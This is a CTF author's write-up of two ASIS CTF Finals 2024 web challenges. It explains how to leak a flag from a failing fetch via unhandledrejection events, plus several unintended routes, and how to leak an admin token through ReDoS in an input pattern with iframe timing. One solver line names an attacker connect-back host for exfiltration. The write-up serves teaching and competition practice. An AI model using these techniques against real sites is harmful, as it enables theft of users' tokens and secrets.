ASIS CTF Finals 2024: Author Writeups
Thank you for playing ASIS CTF Finals 2024!
There were 7 web challenges and the authors are @maple3142, @Strellic_, @_splitline_, @kevin_mizu, @_Worty, and me.
I made 2 challenges:
Challenge | Category | Intended Difficulty | Solved | Keywords |
---|---|---|---|---|
fetch-box | web, misc | easy | 19 | fetch, sandbox |
fire-leak | web | medium-hard | 1 | XS-Leak, ReDoS |
You can see the source code and author's solvers at my-ctf-challenges repository.
[web, misc] fetch-box
- 19 solved / 194 pts
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202412_ASIS_CTF_Finals_2024/web/fetch-box
Description:
A client-side sandbox challenge!
- Challenge:
http://fetch-box.asisctf.com:3000
- Admin bot:
http://fetch-box.asisctf.com:1337
Overview
In this challenge, an HTTP request whose URL includes a flag is periodically sent by fetch
. The goal is to steal the flag
value in the URL:
web/index.html
:
1 |
|
There is an obvious XSS vulnerability with xss
parameter.
Also, the CSP is base-uri 'none'; frame-ancestors 'none'
.
web/index.js
:
1 | import express from "express"; |
Solution
First of all, is there any way to cause an error when executing the fetch
?
A simple way is to access a URL containing an authority:
- e.g.
http://[email protected]:3000
Uncaught (in promise) TypeError: Failed to execute 'fetch' on 'Window': Request cannot be constructed from a URL that includes credentials: /ping?flag=%F0%9F%9A%A9
Then, an uncaught error occurs and the promise rejection is not handled. This means an unhandledrejection
event is emitted:
Since the error message includes the requested URL, you can get the flag
value using addEventListener("unhandledrejection", ...)
.
Solver
1 | const CONNECTBACK_URL = "http://attacker.example.com"; |
- A full exploit code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202412_ASIS_CTF_Finals_2024/web/fetch-box/solution
Unintended Solutions
There were three unintended solutions.
I wonder if nobody has solved fetch-box
using the intended solution, but all the solutions are valid and interesting.
Using Performance APIs
1 | const url = performance.getEntries().find(e => e.initiatorType === "fetch").name; |
You can get the requested URL from a PerformanceNavigationTiming
instance triggered by executing fetch
.
Adding a <meta>
element with CSP
From: https://x.com/tyage/status/1873537456920002982
1 | window.addEventListener('securitypolicyviolation', (e) => { |
You can get the requested URL from a CSP error with connect-src
.
Prototype Pollution to thenable objects
From: https://nanimokangaeteinai.hateblo.jp/entry/2024/12/30/065058
1 | Object.prototype.then = function () { console.log(this.url) } |
You can access the local variables by polluting then
property.
[web] fire-leak
- 1 solved / 477 pts
- Source code: https://github.com/arkark/my-ctf-challenges/tree/main/challenges/202412_ASIS_CTF_Finals_2024/web/fire-leak
Description:
It's time to leak quickly.
- Challenge:
http://fire-leak.asisctf.com:3000
- Admin bot:
http://fire-leak.asisctf.com:1337
Overview
This is a simple XS-Leak challenge.
A part of web/index.js
:
1 | app.get("/", (req, res) => { |
- Goal:
- To steal an admin token:
req.cookies.TOKEN
- To steal an admin token:
- Rules:
- A given HTML is rendered.
{{TOKEN}}
in the HTML is once replaced with the token.- The token's format is 6-bytes hex string (
[0-9a-f]{12}
).
- Limitations:
- For the
html
parameter:- Length limit:
1024
- Allowed characters:
[\x20-\x7e\r\n]
- Disallowed substring (case-insensitive):
meta
,link
,src
,data
,href
,svg
,:
,%
,&
,\
,//
- Length limit:
- CSP:
default-src 'none'; base-uri 'none'; frame-ancestors 'none'
- For the
A new token is issued each time a URL is reported to the admin bot.
1 | // Issue a new token |
This means you need to steal the token within 60 seconds. For reference, my solution only requires about 30 seconds.
Solution
The CSP and the html
parameter's limitations prevent typical XS-Leak techniques. On the condition, are there useful HTML elements and/or attributes to construct an oracle?
My solution used <input pattern="..." value="...">
.
The pattern
attribute specifies a regular expression for the input validation. It seems useful for XS-Leak with ReDoS.
For example:
1 | <input |
This validation works as follows:
- If the token matches with
^.*[abcd]beaf$
, the validation process is not heavy. - Otherwise, the validation process is heavy.
However, there is a big(?) problem:
- You need to construct a stable oracle to ensure the leak process completes within 60 seconds.
- An XS-Leak depending on the browser's busy state tends to be unstable and takes a long time.
To address this, I added an <iframe>
element and used the frame counting technique:
1 | <input |
I measured how long it takes for the window.length
value to change. As a result, I found that it is possible to reliably observe differences in the time required to evaluate a regular expression.
Solver
1 | <body> |